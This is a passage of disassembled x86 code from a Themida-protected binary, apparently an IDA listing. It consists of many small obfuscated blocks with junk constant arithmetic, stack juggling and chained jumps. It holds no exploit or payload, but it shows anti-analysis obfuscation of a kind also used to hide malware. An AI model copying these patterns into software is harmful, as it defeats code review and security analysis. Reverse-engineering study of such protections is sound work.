loc_5A36F2:				; CODE XREF: Themida_:005A0D68j
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59BAC5
; ---------------------------------------------------------------------------


loc_5A36FF:				; CODE XREF: Themida_:005A8055j
		xor	bh, ah
		pop	ax
		xor	ch, bh
		pop	ebx
		add	al, ch
		pop	ecx
		jmp	loc_5A408E
; ---------------------------------------------------------------------------


loc_5A370E:				; CODE XREF: Themida_:005A780Cj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_59B2E2
; ---------------------------------------------------------------------------


loc_5A3719:				; CODE XREF: Themida_:005A8C79j
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5ACEFA
; ---------------------------------------------------------------------------


loc_5A3729:				; CODE XREF: Themida_:005AF7F2j
		mov	ecx, 5BC40344h
		add	ecx, 0A43BFCC0h
		jmp	loc_5AE51D
; ---------------------------------------------------------------------------


loc_5A3739:				; CODE XREF: Themida_:005A70DAj
		sub	eax, edx
		pop	edx
		jmp	loc_5A1AF2
; ---------------------------------------------------------------------------


loc_5A3741:				; CODE XREF: Themida_:005A5400j
		push	dword ptr [esp]
		jmp	loc_5AD2F4
; ---------------------------------------------------------------------------


loc_5A3749:				; CODE XREF: Themida_:005A5284j
		add	edi, edx
		push	eax
		mov	eax, 25511E03h
		xor	eax, 18310597h
		sub	eax, 66F85EF9h
		neg	eax
		xor	eax, 69F71DAh
		jmp	loc_5A2D92
; ---------------------------------------------------------------------------


loc_5A3767:				; CODE XREF: Themida_:00598B5Cj
		mov	[esp], esp
		jmp	loc_5A38AB
; ---------------------------------------------------------------------------


loc_5A376F:				; CODE XREF: Themida_:005A33FCj
		push	ebp
		mov	ebp, ecx
		jmp	loc_5A5386
; ---------------------------------------------------------------------------


loc_5A3777:				; CODE XREF: Themida_:005AB192j
		sub	ch, 0DAh
		sub	esp, 2
		mov	[esp], bx
		mov	bl, 0DBh
		add	ch, bl
		pop	bx
		add	al, ch
		pop	ecx
		jmp	loc_5AD620
; ---------------------------------------------------------------------------


loc_5A3792:				; CODE XREF: Themida_:005ACDB0j
		mov	esi, 68720E27h
		inc	esi
		and	esi, 7DEE5575h
		add	esi, 39B37812h
		xor	esi, 0A2157C36h
		push	ecx
		mov	ecx, esi
		mov	ebp, ecx
		jmp	loc_5A958F
; ---------------------------------------------------------------------------


loc_5A37B4:				; CODE XREF: Themida_:00599738j
		sub	edx, edi
		jmp	loc_5A39FF
; ---------------------------------------------------------------------------


loc_5A37BB:				; CODE XREF: Themida_:0059CF86j
		inc	ebp
		jmp	loc_5ACB04
; ---------------------------------------------------------------------------


loc_5A37C1:				; CODE XREF: Themida_:005A4CBDj
		xor	edx, 4C425281h
		jnp	loc_5A70D4
		add	edx, 0B0B5E0E3h
		jmp	loc_59A409
; ---------------------------------------------------------------------------


loc_5A37D8:				; CODE XREF: Themida_:005AA7D1j
		shl	ch, 2
		jmp	loc_5A80C7
; ---------------------------------------------------------------------------


loc_5A37E0:				; CODE XREF: Themida_:0059AB10j
		xchg	edi, [esp]
		pop	esp
		xor	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_59E3C6
; ---------------------------------------------------------------------------


loc_5A37F4:				; CODE XREF: Themida_:005AD2EFj
		mov	edx, [esp]
		jmp	loc_5ADD7C
; ---------------------------------------------------------------------------


loc_5A37FC:				; CODE XREF: Themida_:005A6121j
		add	eax, ebp
		sub	eax, 794C061Bh
		add	eax, 69AA6793h
		jmp	loc_5ACBCA
; ---------------------------------------------------------------------------


loc_5A380D:				; CODE XREF: Themida_:005A4982j
		xor	edi, 7DF812B5h
		jmp	loc_5A4630
; ---------------------------------------------------------------------------


loc_5A3818:				; CODE XREF: Themida_:0059AB50j
		add	esp, 4
		jmp	loc_598FAF
; ---------------------------------------------------------------------------


loc_5A3820:				; DATA XREF: Themida_:00598820o
		lodsb
		sub	al, 0C7h
		jmp	loc_5AF846
; ---------------------------------------------------------------------------


loc_5A3828:				; CODE XREF: Themida_:005992F9j
		push	eax
		mov	eax, esp
		jmp	loc_59BF75
; ---------------------------------------------------------------------------


loc_5A3830:				; CODE XREF: Themida_:0059FF31j
					; Themida_:005AC2CFj
		pop	esp
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_5A3165
; ---------------------------------------------------------------------------


loc_5A383C:				; CODE XREF: Themida_:0059AA59j
		sub	bh, ah
		pop	eax
		sub	al, bh
		mov	ebx, [esp]
		jmp	loc_59E9FC
; ---------------------------------------------------------------------------


loc_5A3849:				; CODE XREF: Themida_:005A6582j
		pop	ebx
		jmp	loc_59ED65
; ---------------------------------------------------------------------------


loc_5A384F:				; CODE XREF: Themida_:0059D874j
		mov	esi, 4
		jmp	loc_5A19A0
; ---------------------------------------------------------------------------


loc_5A3859:				; CODE XREF: Themida_:005A644Cj
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_5AC3FC
; ---------------------------------------------------------------------------


loc_5A3865:				; CODE XREF: Themida_:005A83F1j
		pop	edi
		mov	eax, 14881FFCh
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		mov	ebp, eax
		jmp	loc_5ABA80
; ---------------------------------------------------------------------------


loc_5A387E:				; CODE XREF: Themida_:0059FC78j
		add	ebx, 59F00395h
		add	ebx, edx
		sub	ebx, 59F00395h
		pop	edx
		push	eax
		push	ebx
		push	2
		pop	ebx
		mov	eax, ebx
		pop	ebx
		sub	ebx, 1D533DADh
		add	ebx, 4085115Fh
		add	ebx, eax
		jmp	loc_59E202
; ---------------------------------------------------------------------------


loc_5A38AB:				; CODE XREF: Themida_:005A376Aj
		add	dword ptr [esp], 4
		pop	ebp
		jmp	loc_5AEB40
; ---------------------------------------------------------------------------


loc_5A38B8:				; CODE XREF: Themida_:005AF0BAj
		add	esp, 4
		sub	ebx, eax
		add	ebx, 787619ABh
		push	587Dh
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5AE214
; ---------------------------------------------------------------------------


loc_5A38D2:				; CODE XREF: Themida_:0059E561j
		jmp	loc_59B813
; ---------------------------------------------------------------------------


loc_5A38D7:				; CODE XREF: Themida_:005A5098j
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5ACE5A
; ---------------------------------------------------------------------------


loc_5A38E8:				; CODE XREF: Themida_:00599635j
		sub	al, cl
		jmp	loc_5AEB26
; ---------------------------------------------------------------------------


loc_5A38EF:				; CODE XREF: Themida_:005A60D8j
		push	786F1ECDh
		jmp	loc_5A8EDE
; ---------------------------------------------------------------------------


loc_5A38F9:				; CODE XREF: Themida_:005AB04Aj
		pop	ecx
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		jmp	loc_5AE639
; ---------------------------------------------------------------------------
		db 0B6h
		dd 0ADA3E940h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A3916:				; CODE XREF: Themida_:005AF148j
		push	cx
		sub	byte ptr [esp],	0FFh
		pop	cx
		add	cl, 0D3h
		xor	al, cl
		pop	ecx
		push	dx
		mov	dl, 0C8h
		jmp	loc_5995D2
; ---------------------------------------------------------------------------


loc_5A392D:				; CODE XREF: Themida_:005ABD8Fj
		xchg	edx, [esp]
		mov	esp, [esp]
		add	eax, 4
		jmp	loc_5A43CE
; ---------------------------------------------------------------------------


loc_5A393D:				; CODE XREF: Themida_:005ABDC4j
		add	eax, 0F8B52829h
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		push	edx
		jmp	loc_5A897E
; ---------------------------------------------------------------------------


loc_5A3953:				; CODE XREF: Themida_:005A10F0j
		add	ebx, edx
		pop	edx
		jmp	loc_59ACFC
; ---------------------------------------------------------------------------


loc_5A395B:				; CODE XREF: Themida_:005A96E9j
		mov	esp, [esp]
		add	[esp], ax
		pushf
		jmp	loc_5989A3
; ---------------------------------------------------------------------------


loc_5A3968:				; CODE XREF: Themida_:005AC7BDj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		push	950h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_59D7CC
; ---------------------------------------------------------------------------


loc_5A3986:				; CODE XREF: Themida_:0059DF21j
		xchg	edx, ebx
		xchg	eax, edx
		not	eax
		xchg	eax, edx
		jmp	loc_59AAC5
; ---------------------------------------------------------------------------


loc_5A3991:				; CODE XREF: Themida_:0059DA24j
		and	eax, edi
		jmp	loc_5A507F
; ---------------------------------------------------------------------------


loc_5A3998:				; CODE XREF: Themida_:loc_5A5FC5j
		inc	edx
		jo	loc_59A923
		jmp	loc_5A908C
; ---------------------------------------------------------------------------


loc_5A39A4:				; CODE XREF: Themida_:0059EA3Bj
		push	edx
		mov	edx, 0C0D7721h
		shr	edx, 6
		neg	edx
		neg	edx
		jmp	loc_59F8FA
; ---------------------------------------------------------------------------


loc_5A39B6:				; CODE XREF: Themida_:005A28C4j
		push	edx
		mov	edx, esp
		jmp	loc_59E8BC
; ---------------------------------------------------------------------------


loc_5A39BE:				; CODE XREF: Themida_:005A36DCj
		shl	edx, 1
		push	eax
		push	ebx
		push	0FFFFFFFFh
		pop	ebx
		mov	eax, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ebx
		mov	ebx, esp
		jmp	loc_5A086C
; ---------------------------------------------------------------------------


loc_5A39D6:				; CODE XREF: Themida_:005AD159j
		mov	[esp], ebx
		jmp	loc_59CEBD
; ---------------------------------------------------------------------------


loc_5A39DE:				; CODE XREF: Themida_:005AB6CBj
		push	edi
		jmp	loc_5A281A
; ---------------------------------------------------------------------------


loc_5A39E4:				; CODE XREF: Themida_:00598FE3j
		push	ebx
		mov	ebx, 7A5AF262h
		sub	ebp, ebx
		pop	ebx
		mov	edx, ebp
		jmp	loc_599A55
; ---------------------------------------------------------------------------


loc_5A39F4:				; CODE XREF: Themida_:005A8FAFj
		add	ebp, 4
		jmp	loc_59E78A
; ---------------------------------------------------------------------------


loc_5A39FF:				; CODE XREF: Themida_:005A37B6j
		pop	edi
		xor	edi, edx
		pop	edx
		jmp	loc_5A0008
; ---------------------------------------------------------------------------


loc_5A3A08:				; DATA XREF: Themida_:00598830o
		push	dword ptr [edi+1Ch]
		push	esi
		jmp	loc_598D5C
; ---------------------------------------------------------------------------


loc_5A3A11:				; CODE XREF: Themida_:005AE26Ej
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], edx
		push	esi
		jmp	loc_5A26CB
; ---------------------------------------------------------------------------


loc_5A3A21:				; CODE XREF: Themida_:005ACA03j
		sub	ebx, 361D163Bh
		jmp	loc_5AB285
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_5AA9DB
; ---------------------------------------------------------------------------


loc_5A3A34:				; CODE XREF: Themida_:0059D57Ej
		add	al, 5Eh
		add	al, 0ECh
		shr	al, 7
		jmp	loc_5AA1F2
; ---------------------------------------------------------------------------


loc_5A3A40:				; CODE XREF: Themida_:005A0285j
		add	cl, 0E0h
		shr	cl, 2
		sub	cl, 9Dh
		add	al, cl
		mov	ecx, [esp]
		jmp	loc_5AD20C
; ---------------------------------------------------------------------------


loc_5A3A53:				; CODE XREF: Themida_:005ADBFCj
		shr	ebp, 4
		not	ebp
		xor	ebp, 0DFB9EC2Eh
		add	edi, ebp
		jmp	loc_5AD502
; ---------------------------------------------------------------------------


loc_5A3A65:				; CODE XREF: Themida_:0059CF93j
					; Themida_:0059EBCEj
		xor	ebp, 32C9C6F6h
		add	ecx, ebp
		pop	ebp
		add	ebx, ecx
		pop	ecx
		push	dword ptr [esp]
		pop	edx
		push	109Bh
		jmp	loc_59E62C
; ---------------------------------------------------------------------------


loc_5A3A7F:				; CODE XREF: Themida_:005A33E9j
		mov	ebx, esp
		push	edx
		jmp	loc_5A7F46
; ---------------------------------------------------------------------------


loc_5A3A87:				; CODE XREF: Themida_:00599184j
		push	64B0h
		jmp	loc_5A93E4
; ---------------------------------------------------------------------------


loc_5A3A91:				; CODE XREF: Themida_:005A503Bj
					; Themida_:loc_5AD0FAj
		inc	ecx
		neg	ecx
		jnz	loc_59E69C
		add	ecx, 38C616FBh
		mov	esi, ecx
		jmp	loc_59CF62
; ---------------------------------------------------------------------------


loc_5A3AA7:				; CODE XREF: Themida_:0059C679j
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], edi
		push	340Dh
		mov	[esp], ecx
		push	edi
		mov	edi, 8C22243h
		mov	ecx, 40CF87B0h
		sub	ecx, edi
		pop	edi
		push	esi
		push	14FD2FFDh
		mov	esi, [esp]
		add	esp, 4
		sub	esi, 5C0F0E83h
		shr	esi, 7
		jmp	loc_5A61E8
; ---------------------------------------------------------------------------


loc_5A3AEF:				; CODE XREF: Themida_:0059B9EAj
		push	ecx
		jmp	loc_5AFE1C
; ---------------------------------------------------------------------------


loc_5A3AF5:				; CODE XREF: Themida_:005A5A83j
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	cx, [esp]
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebx, [esp]
		jmp	loc_5A6688
; ---------------------------------------------------------------------------


loc_5A3B26:				; CODE XREF: Themida_:005A1B66j
		pop	ecx
		pop	ebx
		add	ecx, esi
		pop	esi
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		xchg	ecx, [esp]
		pop	esp
		mov	cl, ah
		pop	eax
		neg	cl
		push	dx
		jmp	loc_59CB55
; ---------------------------------------------------------------------------


loc_5A3B44:				; CODE XREF: Themida_:005AF5E0j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_599FB0
; ---------------------------------------------------------------------------


loc_5A3B52:				; CODE XREF: Themida_:00598ADCj
		add	eax, 4BF30CB1h
		jmp	loc_5A2BBF
; ---------------------------------------------------------------------------


loc_5A3B5C:				; CODE XREF: Themida_:005AD81Cj
		xor	ebx, 21165EC7h
		shl	ebx, 2
		and	ebx, 6DFA67ABh
		jmp	loc_5A8DDD
; ---------------------------------------------------------------------------


loc_5A3B70:				; CODE XREF: Themida_:loc_5A8DD8j
		shl	ebp, 8
		js	loc_59A2E1
		sub	ebp, 0D7A68956h
		mov	edx, ebp
		jmp	loc_5A9F9A
; ---------------------------------------------------------------------------


loc_5A3B86:				; CODE XREF: Themida_:005AD5C0j
		xor	ebx, edx
		pop	edx
		sub	ebx, 76BA4DD8h
		xor	ebx, 7AEB0E59h
		push	4149h
		jmp	loc_5AD293
; ---------------------------------------------------------------------------


loc_5A3B9F:				; CODE XREF: Themida_:0059A378j
					; Themida_:005A6D10j
		add	ebp, 1
		push	40FBh
		mov	[esp], ebx
		push	3D2Eh
		mov	[esp], ebp
		mov	ebp, 11393A8Dh
		add	ebp, 55574017h
		inc	ebp
		not	ebp
		jmp	loc_599627
; ---------------------------------------------------------------------------


loc_5A3BC8:				; CODE XREF: Themida_:00598F6Fj
		push	eax
		jmp	loc_5AE875
; ---------------------------------------------------------------------------


loc_5A3BCE:				; CODE XREF: Themida_:005AE78Fj
		pop	esi
		mov	eax, [esp]
		jmp	loc_59D0EE
; ---------------------------------------------------------------------------


loc_5A3BD7:				; CODE XREF: Themida_:005A1E09j
					; Themida_:005AC366j
		mov	ebp, ebx
		pop	ebx
		and	edx, ebp
		pop	ebp
		jmp	loc_59EB96
; ---------------------------------------------------------------------------


loc_5A3BE2:				; CODE XREF: Themida_:005AEE9Ej
		sub	esp, 4
		mov	[esp], edx
		push	esp
		mov	edx, [esp]
		add	esp, 4
		add	edx, 4
		push	esi
		jmp	loc_5A4F26
; ---------------------------------------------------------------------------


loc_5A3BFE:				; CODE XREF: Themida_:loc_5A0655j
		shl	ebp, 5
		jmp	loc_59A57E
; ---------------------------------------------------------------------------


loc_5A3C06:				; DATA XREF: Themida_:005986CCo
		mov	ax, [esp]
		push	edx
		push	esp
		jmp	loc_59B843
; ---------------------------------------------------------------------------


loc_5A3C11:				; CODE XREF: Themida_:loc_59A26Dj
		add	ebp, 10561CBEh
		jbe	loc_5AB755
		shl	ebp, 7
		jmp	loc_59D251
; ---------------------------------------------------------------------------


loc_5A3C25:				; CODE XREF: Themida_:005AF583j
		sub	ebx, 0DB37344h
		push	esi
		mov	esi, 3B381144h
		shr	esi, 8
		and	esi, 123E7AF0h
		jmp	loc_59AB15
; ---------------------------------------------------------------------------


loc_5A3C3F:				; CODE XREF: Themida_:00599C33j
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		jmp	loc_5ADCBB
; ---------------------------------------------------------------------------


loc_5A3C51:				; CODE XREF: Themida_:0059C5A1j
		or	ch, 4Dh
		and	ch, 96h
		and	ch, 0ADh
		add	ch, 1Bh
		xor	bh, ch
		pop	ecx
		jmp	loc_5A40F3
; ---------------------------------------------------------------------------


loc_5A3C65:				; CODE XREF: Themida_:005AEABCj
		inc	eax
		push	ebx
		mov	ebx, 126A572Fh
		add	eax, ebx
		pop	ebx
		sub	ecx, 48D97944h
		add	ecx, eax
		add	ecx, 48D97944h
		jmp	loc_5AA0F7
; ---------------------------------------------------------------------------


loc_5A3C82:				; CODE XREF: Themida_:0059AC5Ej
		sub	edx, 14300631h
		add	edx, ecx
		push	ecx
		mov	ecx, 216D54D7h
		add	ecx, 0F2C2B15Ah
		add	edx, ecx
		pop	ecx
		sub	edx, 7E4549A7h
		pop	ecx
		add	edx, 58360AEDh
		push	edi
		mov	edi, 1E631A2Eh
		sub	edi, 50573430h
		jbe	loc_599D00
		inc	edi
		push	ebx
		mov	ebx, 25A02D37h
		and	edi, ebx
		pop	ebx
		mov	ch, ah
		mov	dl, 25h


loc_5A3CC6:				; CODE XREF: Themida_:005AD22Bj
		pop	edi
		jmp	loc_5A6A27
; ---------------------------------------------------------------------------


loc_5A3CCC:				; CODE XREF: Themida_:005A9039j
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 68F806E2h
		not	ebp
		inc	ebp
		sub	ebp, 9325F930h
		xor	esi, ebp
		jmp	loc_5A9702
; ---------------------------------------------------------------------------


loc_5A3CEA:				; CODE XREF: Themida_:005A563Bj
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_5A4C7C
; ---------------------------------------------------------------------------


loc_5A3CF6:				; CODE XREF: Themida_:005A01DEj
					; Themida_:005AE306j
		add	eax, 8DB0938h
		add	eax, 3D62375Dh
		sub	eax, ebp
		jmp	loc_5A0A4E
; ---------------------------------------------------------------------------


loc_5A3D07:				; CODE XREF: Themida_:005AD025j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5A4AE9
; ---------------------------------------------------------------------------


loc_5A3D17:				; CODE XREF: Themida_:005AD83Ej
		and	ecx, 2336913h
		neg	ecx
		jmp	loc_5AFAE0
; ---------------------------------------------------------------------------


loc_5A3D24:				; CODE XREF: Themida_:005AE986j
		or	eax, eax
		jnz	loc_598BCE
		push	edi
		push	58331958h
		push	dword ptr [esp]
		jmp	loc_5AD076
; ---------------------------------------------------------------------------


loc_5A3D3A:				; CODE XREF: Themida_:005ABB43j
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_5A78F1
; ---------------------------------------------------------------------------


loc_5A3D52:				; CODE XREF: Themida_:0059FB07j
		pop	eax
		jmp	loc_5A9708
; ---------------------------------------------------------------------------


loc_5A3D58:				; CODE XREF: Themida_:005A800Cj
		push	edi
		mov	edi, 2
		push	5FE4h
		jmp	loc_5AAF1C
; ---------------------------------------------------------------------------


loc_5A3D68:				; CODE XREF: Themida_:0059CC6Ej
		pop	ecx
		sub	esi, 773237E4h
		sub	esi, eax
		add	esi, 773237E4h
		add	esi, 496359AAh
		mov	eax, [esp]
		jmp	loc_5A8A17
; ---------------------------------------------------------------------------


loc_5A3D85:				; CODE XREF: Themida_:005A5765j
					; Themida_:005A9914j
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_5A8450
; ---------------------------------------------------------------------------


loc_5A3DA2:				; CODE XREF: Themida_:005A914Aj
		sub	ebx, 6AA05C9Ah
		mov	ebp, [esp]
		add	esp, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_5AE844
; ---------------------------------------------------------------------------


loc_5A3DB9:				; CODE XREF: Themida_:005A6DE3j
		pop	esp
		xchg	ebp, [esp]
		pop	esp
		push	ebp
		mov	ebp, 66440B30h
		shl	ebp, 6
		push	esi
		mov	esi, 49303CF3h
		neg	esi
		sub	esi, 42707D19h
		not	esi
		shr	esi, 1
		xor	esi, 0BA2FA2FAh
		sub	ebp, esi
		pop	esi
		push	edx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_5A9C41
; ---------------------------------------------------------------------------


loc_5A3DEE:				; CODE XREF: Themida_:0059FDC8j
		add	ecx, 0F98B3C6Eh
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 5FB5360Fh
		sub	eax, edx
		pop	edx
		push	4C5Bh
		jmp	loc_5A31BF
; ---------------------------------------------------------------------------


loc_5A3E0F:				; CODE XREF: Themida_:005ADAFFj
		pop	ecx
		push	ebx
		mov	ebx, 515A47D7h
		push	ebx
		jmp	loc_59A089
; ---------------------------------------------------------------------------


loc_5A3E1C:				; CODE XREF: Themida_:005A440Bj
		add	esp, 4
		push	ebx
		mov	bl, ch
		jmp	loc_59907A
; ---------------------------------------------------------------------------


loc_5A3E2A:				; CODE XREF: Themida_:005A1C1Cj
					; Themida_:005AC803j
		sub	ch, al
		sub	ch, 0F9h
		jmp	loc_5A4E89
; ---------------------------------------------------------------------------


loc_5A3E34:				; CODE XREF: Themida_:0059B83Ej
		xor	ebx, 9C527E9h
		xor	eax, ebx
		pop	ebx
		jmp	loc_5A5294
; ---------------------------------------------------------------------------


loc_5A3E42:				; CODE XREF: Themida_:005A57CDj
		xor	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		not	ebp
		push	eax
		jmp	loc_5A1ACD
; ---------------------------------------------------------------------------


loc_5A3E56:				; CODE XREF: Themida_:005AC395j
		pop	ecx
		add	edx, ecx
		jmp	loc_5A800B
; ---------------------------------------------------------------------------


loc_5A3E5E:				; CODE XREF: Themida_:005A9831j
		pop	eax
		xchg	edi, [esp]
		jmp	loc_599C84
; ---------------------------------------------------------------------------


loc_5A3E67:				; CODE XREF: Themida_:0059C8D3j
		pop	ebp
		push	edi
		mov	edi, 7A3E3D61h
		add	edx, 65AB7E2Dh
		sub	edx, 2CC504ABh
		sub	edx, edi
		add	edx, 2CC504ABh
		jmp	loc_5A3233
; ---------------------------------------------------------------------------


loc_5A3E87:				; CODE XREF: Themida_:005A8B83j
		mov	edi, 305B7678h
		jmp	loc_5AB398
; ---------------------------------------------------------------------------


loc_5A3E91:				; CODE XREF: Themida_:loc_5A1C78j
					; Themida_:005ADD26j
		jmp	loc_5A947B
; ---------------------------------------------------------------------------


loc_5A3E96:				; CODE XREF: Themida_:005A56EEj
		add	dword ptr [esp], 42371AA3h
		sub	[esp], esi
		sub	dword ptr [esp], 42371AA3h
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		neg	esi
		sub	esi, 59D00A58h
		sub	ebp, esi
		mov	esi, [esp]
		push	69ECh
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		mov	ecx, 1
		push	eax
		mov	eax, 20h
		jmp	loc_59E489
; ---------------------------------------------------------------------------


loc_5A3EFC:				; CODE XREF: Themida_:005AB666j
		mov	ecx, 4
		add	esi, ecx
		pop	ecx
		xchg	esi, [esp]
		pop	esp
		sub	edx, 44112EB1h
		add	edx, 2B423305h
		push	edi
		mov	edi, 61E41623h
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5ABC48
; ---------------------------------------------------------------------------


loc_5A3F2A:				; CODE XREF: Themida_:0059EE68j
		push	0FB4D04h
		pop	ecx
		shr	ecx, 7
		jmp	loc_598FF8
; ---------------------------------------------------------------------------


loc_5A3F38:				; CODE XREF: Themida_:005A8006j
		mov	al, 9Eh
		dec	al
		xor	al, 49h
		sub	bl, al
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A414D
; ---------------------------------------------------------------------------


loc_5A3F4B:				; CODE XREF: Themida_:005AD247j
		add	edx, ebx
		pop	ebx
		add	ebx, edx
		jmp	loc_5A84E8
; ---------------------------------------------------------------------------


loc_5A3F55:				; CODE XREF: Themida_:0059ED7Dj
		mov	[esp], eax
		push	4
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esi, 7CBD66F1h
		add	esi, eax
		add	esi, 7CBD66F1h
		mov	eax, [esp]
		add	esp, 4
		push	6FE8h
		mov	[esp], eax
		sub	esp, 4
		jmp	loc_599316
; ---------------------------------------------------------------------------


loc_5A3F8B:				; CODE XREF: Themida_:0059AFA4j
					; Themida_:0059E870j
		shl	eax, 6
		sub	eax, 0FBF1D9C2h
		mov	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		and	[edi+1Ch], ecx
		mov	ecx, [esp]
		push	edx
		jmp	loc_59E53B
; ---------------------------------------------------------------------------


loc_5A3FA7:				; CODE XREF: Themida_:0059BD10j
		mov	ah, 45h
		xor	ah, 0DEh
		jmp	loc_5AD05C
; ---------------------------------------------------------------------------


loc_5A3FB1:				; CODE XREF: Themida_:0059AD5Cj
		inc	edi
		or	edi, 1312144Bh
		add	edi, 0E8449697h
		jmp	loc_5AC84C
; ---------------------------------------------------------------------------


loc_5A3FC3:				; CODE XREF: Themida_:005AD30Fj
		mov	dl, 39h
		sub	al, dl
		pop	dx
		add	al, cl
		add	al, 39h
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5A4CD2
; ---------------------------------------------------------------------------


loc_5A3FE5:				; CODE XREF: Themida_:0059B2CDj
		add	edi, 0FD05424Ch
		add	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_59A5BB
; ---------------------------------------------------------------------------


loc_5A3FFD:				; CODE XREF: Themida_:005AD184j
		push	ebp
		jmp	loc_5A2E58
; ---------------------------------------------------------------------------


loc_5A4003:				; CODE XREF: Themida_:00599E78j
		add	eax, edx
		pop	edx
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		mov	esp, [esp]
		push	252Ah
		jmp	loc_599265
; ---------------------------------------------------------------------------


loc_5A401F:				; CODE XREF: Themida_:0059FDF0j
		push	74BC6D6Dh
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_59989C
; ---------------------------------------------------------------------------


loc_5A402F:				; CODE XREF: Themida_:005AE2BEj
		push	edi
		mov	edi, 5CA51A36h
		add	edi, 71E51FB2h
		push	ebx
		mov	ebx, 7F224296h
		dec	ebx
		add	ebx, 58B005Dh
		not	ebx
		xor	ebx, 2F5632Bh
		dec	ebx
		jmp	loc_5A25A9
; ---------------------------------------------------------------------------


loc_5A4056:				; CODE XREF: Themida_:005AAF89j
		add	edx, 0FFFFFFFFh
		jmp	loc_5ABF63
; ---------------------------------------------------------------------------


loc_5A405E:				; CODE XREF: Themida_:005AB251j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ebp, 4
		push	50B7h
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, 7DA348EBh
		add	ebp, ecx
		sub	ebp, 7DA348EBh
		jmp	loc_5AFC96
; ---------------------------------------------------------------------------


loc_5A408E:				; CODE XREF: Themida_:005A3709j
		push	7834h
		mov	[esp], ebp
		push	esp
		jmp	loc_59D188
; ---------------------------------------------------------------------------


loc_5A409C:				; CODE XREF: Themida_:005A4BA4j
		add	edi, 65DF1877h
		jmp	loc_59C728
; ---------------------------------------------------------------------------


loc_5A40A7:				; CODE XREF: Themida_:0059D589j
		push	esi
		mov	esi, 4E436415h
		add	ebp, esi
		pop	esi
		pop	ebx
		add	ebp, 2
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		push	7B00h
		mov	[esp], edx
		mov	edx, 4
		push	6E48h
		jmp	loc_5A5E21
; ---------------------------------------------------------------------------


loc_5A40DF:				; CODE XREF: Themida_:005A616Bj
		mov	eax, [esp]
		jmp	loc_5AD422
; ---------------------------------------------------------------------------


loc_5A40E7:				; CODE XREF: Themida_:005A6A67j
		push	esp
		pop	ebp
		push	4C53h
		jmp	loc_5A47B6
; ---------------------------------------------------------------------------


loc_5A40F3:				; CODE XREF: Themida_:005A3C60j
		not	bh
		jmp	loc_5A9936
; ---------------------------------------------------------------------------


loc_5A40FA:				; CODE XREF: Themida_:0059F49Aj
		pop	ecx


loc_5A40FB:				; CODE XREF: Themida_:00599EE3j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebx
		xor	dword ptr [esp], 5EF87A69h
		jmp	loc_59EBFE
; ---------------------------------------------------------------------------


loc_5A411A:				; CODE XREF: Themida_:005A23EEj
